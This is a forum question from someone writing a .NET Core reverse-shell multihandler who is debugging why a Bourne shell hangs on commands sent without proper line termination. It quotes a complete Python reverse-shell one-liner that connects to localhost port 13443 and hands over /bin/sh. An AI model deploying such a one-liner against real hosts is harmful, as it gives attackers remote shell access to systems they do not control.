Sample Header Ad - 728x90

Bourne Shell EOL characters not working in shell handler

0 votes
1 answer
47 views
This may end up being a confusing question if you don't understand reverse shells but the tldr; is I'm trying to write a shell multihandler in .NET Core. I have it handling bash, cmd, and powershell, shells just fine. However, when I try and handle a bourne shell, it connects just fine, but the shell seems to hang when I send it commands. I believe the issue is not properly terminating the command with the right hex Just for the POC this code splits out the Bourne Shell
if (ShellOsType == OsType.Linux && Prompt.Trim() == "$")
{
    writer.Write(command + "\n");
}
else
    writer.WriteLine(command); //if I use WriteLine for the bourne shell, the shell throws an error : not found
}
and the reverse shell is this command
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",13443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
When I test this with netcat it works exactly how you'd expect. So the issue must be something to do with my .NET Core app and how it's handling it. When I send a command whoami\n I'm expecting 2 lines in return myusername $ but I'm only getting one line in response myusername And if I go to where I created my reverse shell and hit CTRL+C it doesn't kill my shell but it does force it to send the second line to my handler. **What have I tried?** I've tried opening an ascii hex table and using everything up to the letters both before and after the \n in case I was missing something and nothing works but it does make it worse in some cases
Asked by DotNetRussell (329 rep)
Jul 14, 2024, 07:18 PM
Last activity: Jul 14, 2024, 07:51 PM